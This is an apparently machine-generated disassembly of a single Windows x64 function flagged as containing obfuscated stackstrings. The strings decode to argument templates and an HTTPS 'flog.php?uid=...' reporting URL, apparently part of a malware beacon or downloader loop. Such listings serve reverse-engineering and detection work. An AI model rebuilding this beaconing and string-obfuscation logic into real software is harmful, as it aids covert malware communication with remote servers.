Function at 0x14001da20
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x438]
sub rsp, 0x538
mov qword [rbp + 0x30], 0xfffffffffffffffe
mov rax, qword [0x140158280]
xor rax, rsp
mov qword [rbp + 0x428], rax
mov r13, r9
mov qword [rbp - 0x58], r9
mov r12, r8
mov qword [rbp - 0x50], r8
mov rsi, rdx
mov qword [rbp - 0x38], rdx
mov rbx, rcx
mov qword [rsp + 0x60], rcx
mov qword [rbp + 0x38], rcx
mov qword [rbp + 0x20], rdx
mov qword [rbp + 0x48], r8
mov qword [rbp + 0x40], r9
mov rdi, qword [rbp + 0x4a0]
mov qword [rsp + 0x78], rdi
mov qword [rbp + 0x28], rdi
movzx r14d, byte [rbp + 0x4b0]
mov byte [rsp + 0x40], r14b
mov rcx, qword [rdi]
sub rcx, 0x18
call fcn.140012a20
add rax, 0x18
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 0x10]
lea rcx, [rbp - 0x68]
call fcn.140015960
nop
call fcn.140016610
mov rdx, rax
xor r15d, r15d
mov ecx, r15d
test rax, rax
setne cl
test ecx, ecx
jne 0x14001dae4
mov ecx, 0x80004005
call fcn.14000f440
int3
mov rax, qword [rax]
mov rcx, rdx
call qword [rax + Ordinal_26]
add rax, 0x18
mov qword [rsp + 0x48], rax
mov dword [rbp + 0x41d], 0x64253d
mov dword [rbp + 0x403], 0x752d2073
mov dword [rbp + 0x408], 0x73253d64
mov dword [rbp + 0x413], 0x3d76622d
mov dword [rbp + 0x3f9], 0x253d6469
mov word [rbp + 0x3f7], 0x632d
mov dword [rbp + 0x3ff], 0x253d632d
mov dword [rbp + 0x3f0], 0x2073682d
mov dword [rbp + 0x40f], 0x2073253d
mov dword [rbp + 0x418], 0x722d2073
mov byte [rbp + 0x407], WSAGetLastError
mov word [rbp + 0x40c], 0x2d20
mov word [rbp + 0x3f4], 0x732d
mov word [rbp + 0x3fd], 0x2073
mov byte [rbp + 0x417], reloc.OLEAUT32.dll_SafeArrayDestroyDescriptor
mov byte [rbp + 0x3f6], reloc.WLDAP32.dll_Ordinal_32
mov byte [rbp + 0x41c], WSAStartup
mov byte [rbp + 0x40e], 0x67
mov eax, dword [rbp + 0x4a8]
mov dword [rsp + 0x38], eax
mov rax, qword [rbp - 0x68]
mov qword [rsp + 0x30], rax
mov rax, qword [rsi]
mov qword [rsp + 0x28], rax
mov rax, qword [rbx]
mov qword [rsp + 0x20], rax
mov r9, qword [r13]
mov r8, qword [r12]
lea rdx, [rbp + 0x3f0]
lea rcx, [rsp + 0x48]
call fcn.140013110
call fcn.140016610
mov rdx, rax
mov ecx, r15d
test rax, rax
setne cl
test ecx, ecx
jne 0x14001dbf3
mov ecx, 0x80004005
call fcn.14000f440
int3
mov rax, qword [rax]
mov rcx, rdx
call qword [rax + Ordinal_26]
add rax, 0x18
mov qword [rsp + 0x50], rax
lea rdi, [0x140123920]
test rdi, 0xffffffffffff0000
jne 0x14001dc38
movzx ebx, di
xor edx, edx
mov ecx, ebx
call fcn.14000f2d0
test rax, rax
je 0x14001dc4a
mov r8d, ebx
mov rdx, rax
lea rcx, [rsp + 0x50]
call fcn.14001a150
jmp 0x14001dc4a
xor r8d, r8d
mov rdx, rdi
lea rcx, [rsp + 0x50]
call fcn.140024eb0
jmp 0x14001dc4f
mov rbx, qword [rsp + 0x60]
mov r13d, r15d
mov dword [rsp + 0x58], r15d
or rsi, 0xffffffffffffffff
lea r12, str.9f5fb9578b66491e8e35bcb76046e5e5
mov ecx, 1
call fcn.140073e64
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x78], r15
call fcn.140016610
mov ecx, r15d
test rax, rax
setne cl
test ecx, ecx
je 0x14001e52e
mov rdx, qword [rax]
mov rcx, rax
call qword [rdx + Ordinal_26]
add rax, 0x18
mov qword [rsp + 0x70], rax
test r14b, r14b
je 0x14001dd85
mov dword [rbp + 0x3ca], 0x6f6c662f
mov dword [rbp + 0x3d7], 0x2673253d
mov word [rbp + 0x3c8], 0x7325
mov dword [rbp + 0x3e6], 0x64253d
mov word [rbp + 0x3db], 0x3d6d
mov dword [rbp + 0x3d1], 0x753f7068
mov word [rbp + 0x3e1], 0x323d
mov word [rbp + 0x3de], 0x2673
mov dword [rbp + 0x3c1], 0x73707474
mov word [rbp + 0x3ce], 0x2e67
mov byte [rbp + 0x3d0], reloc.WS2_32.dll_WSASetLastError
mov word [rbp + 0x3c5], 0x2f3a
mov byte [rbp + 0x3e0], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x3dd], reloc.OLEAUT32.dll_SafeArrayDestroyDescriptor
mov word [rbp + 0x3e3], 0x6526
mov word [rbp + 0x3d5], 0x6469
mov byte [rbp + 0x3c7], Ordinal_50
mov byte [rbp + 0x3e5], 0x78
mov byte [rbp + 0x3c0], 0x68
movzx edx, r14b
lea rcx, [rbp - 8]
call fcn.1400166f0
nop
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], r12
mov r9, qword [rbx]
mov r8, qword [rax]
lea rdx, [rbp + 0x3c0]
lea rcx, [rsp + 0x70]
call fcn.140013110
nop
mov rdx, qword [rbp - 8]
jmp 0x14001de68
mov word [rbp + 0x3a5], 0x676f
mov dword [rbp + 0x3b2], 0x2673253d
mov word [rbp + 0x39b], 0x7370
mov word [rbp + 0x3a1], 0x2f73
mov word [rbp + 0x3af], 0x2673
mov dword [rbp + 0x3b7], 0x6526323d
mov word [rbp + 0x398], 0x7468
mov dword [rbp + 0x3aa], 0x3d693f70
mov word [rbp + 0x3a8], 0x6870
mov word [rbp + 0x3bc], 0x6425
mov word [rbp + 0x39e], 0x2f2f
mov byte [rbp + 0x3bb], 0x3d
mov byte [rbp + 0x3b1], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x39d], Ordinal_60
mov byte [rbp + 0x3b6], 0x78
mov byte [rbp + 0x3a0], reloc.OLEAUT32.dll_SafeArrayDestroyDescriptor
mov byte [rbp + 0x3ae], reloc.OLEAUT32.dll_SafeArrayDestroyDescriptor
mov word [rbp + 0x3a3], 0x6c66
mov byte [rbp + 0x3be], 0
mov byte [rbp + 0x39a], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x3a7], reloc.WLDAP32.dll_Ordinal_46
xor edx, edx
lea rcx, [rbp - 0x30]
call fcn.1400166f0
nop
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], r12
mov r9, qword [rbx]
mov r8, qword [rax]
lea rdx, [rbp + 0x398]
lea rcx, [rsp + 0x70]
call fcn.140013110
nop
mov rdx, qword [rbp - 0x30]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14001de7c
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov r14, qword [rsp + 0x70]
add r14, 0xffffffffffffffe8
mov qword [rbp - 0x48], r14
mov rcx, r14
call fcn.140012a20
add rax, 0x18
mov qword [rbp - 0x60], rax
mov dword [rbp + 0x363], 0x253d656d
mov word [rbp + 0x361], 0x6974
mov byte [rbp + 0x360], Ordinal_41
mov word [rbp + 0x367], 0x64
call fcn.1400355c0
mov r8d, eax
lea rdx, [rbp + 0x360]
lea rcx, [rbp - 0x60]
call fcn.14000f170
mov rbx, qword [rbp - 0x60]
lea r12, [rbx - 0x18]
mov qword [rbp - 0x40], r12
mov rcx, r12
call fcn.140012a20
add rax, 0x18
mov qword [rbp - 0x18], rax
lea rdx, [rbp - 0x18]
lea rcx, [rbp - 0x80]
call fcn.140012d30
test al, al
je 0x14001e322
cmp qword [rbp - 0x78], 0x40000
jb 0x14001e44e
lea rcx, [rbp + 0x70]
call fcn.140004140
nop
mov byte [rbp + 0x70], 0
mov word [rbp + 0x389], 0x3366
mov dword [rbp + 0x370], 0x37386164
mov word [rbp + 0x38c], 0x3637
mov word [rbp + 0x37a], 0x6134
mov dword [rbp + 0x385], 0x64396134
mov word [rbp + 0x377], 0x3836
mov word [rbp + 0x38f], gethostname
mov dword [rbp + 0x37f], 0x35336239
mov word [rbp + 0x374], 0x3965
mov word [rbp + 0x37d], 0x3566
mov byte [rbp + 0x379], Ordinal_50
mov byte [rbp + 0x38b], gethostname
mov word [rbp + 0x383], 0x3231
mov byte [rbp + 0x38e], gethostname
mov byte [rbp + 0x376], gethostname
mov byte [rbp + 0x37c], 0x62
mov qword [rbp + 0x68], reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x60], r15
mov byte [rbp + 0x50], 0
lea rax, [rbp + 0x370]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x14001dfc4
lea rdx, [rbp + 0x370]
lea rcx, [rbp + 0x50]
call fcn.1400088f0
nop
mov qword [rbp + 0x18], reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x10], r15
mov byte [rbp], 0
xor r8d, r8d
mov rdx, rdi
lea rcx, [rbp]
call fcn.1400088f0
lea r8, [rbp]
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x70]
call fcn.1400071c0
nop
cmp qword [rbp + 0x68], 0x10
jb 0x14001e020
mov rcx, qword [rbp + 0x50]
call fcn.14006e9f4
mov rcx, qword [rbp - 0x78]
call fcn.140044634
mov rdi, rax
mov dword [rsp + 0x5c], r15d
lea rax, [rsp + 0x5c]
mov qword [rsp + 0x20], rax
mov r9, rdi
mov r8d, dword [rbp - 0x78]
mov rdx, qword [rbp - 0x80]
lea rcx, [rbp + 0x70]
call fcn.140005bc0
movzx ebx, al
mov rcx, qword [rbp - 0x80]
call fcn.14007084c
test bl, bl
jne 0x14001e076
mov rcx, rdi
call fcn.14007088c
nop
lea rcx, [rbp + 0x70]
call fcn.14000e270
jmp 0x14001e345
movsxd rcx, dword [rsp + 0x5c]
call fcn.140044634
mov r13, rax
movsxd r8, dword [rsp + 0x5c]
mov rdx, rdi
mov rcx, rax
call fcn.14006eda0
mov rcx, rdi
call fcn.14007088c
lea rcx, [rbp - 0x70]
call fcn.140017360
nop
mov dword [rsp + 0x44], 0x312e36
lea rdx, [rsp + 0x44]
mov rcx, qword [rbp - 0x70]
call fcn.140072dbc
test eax, eax
sete al
neg al
sbb r14d, r14d
and r14d, 0xa
cmp dword [rbp + 0x4a8], 2
setne dil
mov byte [rsp + 0x43], dil
cmp dword [rbp + 0x4a8], 3
setne byte [rsp + 0x42]
mov byte [rsp + 0x41], 0
mov r12d, r15d
nop dword [rax]
xor r8d, r8d
lea rbx, [0x140123920]
mov rdx, rbx
lea rcx, [rsp + 0x50]
call fcn.140024eb0
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14000da00
nop
mov rbx, qword [rsp + 0x48]
mov ecx, 1
mov eax, dword [rbx - 0xc]
sub ecx, dword [rbx - 8]
sub eax, 0x104
cmp r14d, 0xa
jge 0x14001e17a
or eax, ecx
jge 0x14001e148
mov edx, 0x104
lea rcx, [rsp + 0x48]
call fcn.14001ba70
mov rbx, qword [rsp + 0x48]
mov byte [rsp + 0x30], dil
movzx eax, byte [rsp + 0x42]
mov byte [rsp + 0x28], al
lea rax, [rsp + 0x68]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x50]
mov r8, rbx
mov rax, qword [rsp + 0x78]
mov rdx, qword [rax]
mov rcx, r13
call fcn.14001aa60
jmp 0x14001e1c2
or eax, ecx
jge 0x14001e192
mov edx, 0x104
lea rcx, [rsp + 0x48]
call fcn.14001ba70
mov rbx, qword [rsp + 0x48]
mov byte [rsp + 0x30], dil
movzx eax, byte [rsp + 0x42]
mov byte [rsp + 0x28], al
lea rax, [rsp + 0x68]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x50]
mov r8, rbx
mov rax, qword [rsp + 0x78]
mov rdx, qword [rax]
mov rcx, r13
call fcn.14001a3f0
inc r14d
movzx edi, al
cmp r14d, 0x14
cmovge r14d, r15d
movsxd rdx, dword [rbx - 0xc]
mov rcx, rbx
call fcn.140072b78
test eax, eax
js 0x14001e443
cmp eax, dword [rbx - 0xc]
jg 0x14001e443
mov dword [rbx - 0x10], eax
cdqe
mov byte [rax + rbx], 0
test dil, dil
jne 0x14001e207
mov ecx, 0x1f4
call fcn.140037900
jmp 0x14001e25b
mov ebx, r15d
nop word [rax + rax]
lea rcx, [rbp - 0x28]
call fcn.140014f40
nop
mov r8, qword [rax]
xor edx, edx
mov ecx, 0x100000
call fcn.140035cf0
mov rdi, rax
mov rdx, qword [rbp - 0x28]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14001e245
mov rcx, qword [rdx]
mov r8, qword [rcx]
call qword [rreloc.WS2_32.dll_htonl + 8]
test rdi, rdi
jne 0x14001e287
mov ecx, reloc.WLDAP32.dll_Ordinal_200
call fcn.140037900
inc ebx
cmp ebx, 0xa
jl 0x14001e210
mov rdx, qword [rsp + 0x68]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14001e274
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
inc r12d
cmp r12d, 0x14
jge 0x14001e2ae
movzx edi, byte [rsp + 0x43]
jmp 0x14001e0f0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [rsp + 0x41], 1
mov rdx, qword [rsp + 0x68]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14001e2ae
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov rcx, r13
call fcn.14007088c
nop
mov rdx, qword [rbp - 0x70]
add rdx, 0xffffffffffffffe8
cmp byte [rsp + 0x41], 0
jne 0x14001e399
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14001e2db
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
cmp qword [rbp + 0x148], 0x10
jb 0x14001e2f1
mov rcx, qword [rbp + 0x130]
call fcn.14006e9f4
mov qword [rbp + 0x148], reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x140], r15
mov byte [rbp + 0x130], 0
cmp qword [rbp + 0x128], 0x10
jb 0x14001e32d
mov rcx, qword [rbp + 0x110]
call fcn.14006e9f4
jmp 0x14001e32d
mov rcx, qword [rbp - 0x80]
call fcn.14007084c
jmp 0x14001e33a
mov r13d, dword [rsp + 0x58]
mov r12, qword [rbp - 0x40]
mov r14, qword [rbp - 0x48]
mov ecx, reloc.WLDAP32.dll_Ordinal_200
call fcn.140037900
nop
lock add dword [r12 + 0x10], 0xffffffff
jg 0x14001e35c
mov rcx, qword [r12]
mov rax, qword [rcx]
mov rdx, r12
call qword [rax + reloc.WS2_32.dll_htonl]
nop
lock add dword [r14 + 0x10], 0xffffffff
jg 0x14001e370
mov rcx, qword [r14]
mov rax, qword [rcx]
mov rdx, r14
call qword [rax + reloc.WS2_32.dll_htonl]
inc r13d
mov dword [rsp + 0x58], r13d
cmp r13d, 6
jge 0x14001e4c6
mov rbx, qword [rsp + 0x60]
movzx r14d, byte [rsp + 0x40]
lea rdi, [0x140123920]
jmp 0x14001dc5b
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14001e3aa
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
cmp qword [rbp + 0x148], 0x10
jb 0x14001e3c0
mov rcx, qword [rbp + 0x130]
call fcn.14006e9f4
mov qword [rbp + 0x148], reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x140], r15
mov byte [rbp + 0x130], 0
cmp qword [rbp + 0x128], 0x10
jb 0x14001e3ef
mov rcx, qword [rbp + 0x110]
call fcn.14006e9f4
mov qword [rbp + 0x128], reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x120], r15
mov byte [rbp + 0x110], 0
mov rdx, qword [rbp - 0x60]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14001e421
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [rsp + 0x70]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14001e4c6
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
jmp 0x14001e4c6
mov ecx, 0x80070057
call fcn.14000f440
nop
lea rdx, [rbx - 0x18]
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14001e463
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [rsp + 0x70]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14001e47d
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [rsp + 0x50]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14001e497
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [rsp + 0x48]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14001e4b1
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [rbp - 0x68]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14001e543
jmp 0x14001e539
lea rcx, [rbp - 0x20]
call fcn.140014f40
nop
mov r8, qword [rax]
xor edx, edx
mov ecx, 0x100000
call fcn.140035cf0
mov rbx, rax
mov rdx, qword [rbp - 0x20]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14001e4fb
mov rcx, qword [rdx]
mov r8, qword [rcx]
call qword [rreloc.WS2_32.dll_htonl + 8]
test rbx, rbx
je 0x14001e51f
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0xfa
call fcn.140037900
inc r15d
cmp r15d, 0xf0
jl 0x14001e4c6
movzx ecx, byte [rsp + 0x40]
call fcn.1400119a0
jmp 0x14001e47d
mov ecx, 0x80004005
call fcn.14000f440
nop
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [rsp + 0x60]
mov rdx, qword [rdx]
sub rdx, 0x18
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14001e560
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [rbp - 0x38]
mov rdx, qword [rdx]
sub rdx, 0x18
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14001e57c
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [rbp - 0x50]
mov rdx, qword [rdx]
sub rdx, 0x18
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14001e598
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [rbp - 0x58]
mov rdx, qword [rdx]
sub rdx, 0x18
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14001e5b4
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rax, qword [rsp + 0x78]
mov rdx, qword [rax]
sub rdx, 0x18
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14001e5d0
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
xor al, al
mov rcx, qword [rbp + 0x428]
xor rcx, rsp
call fcn.14006ed70
add rsp, 0x538
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret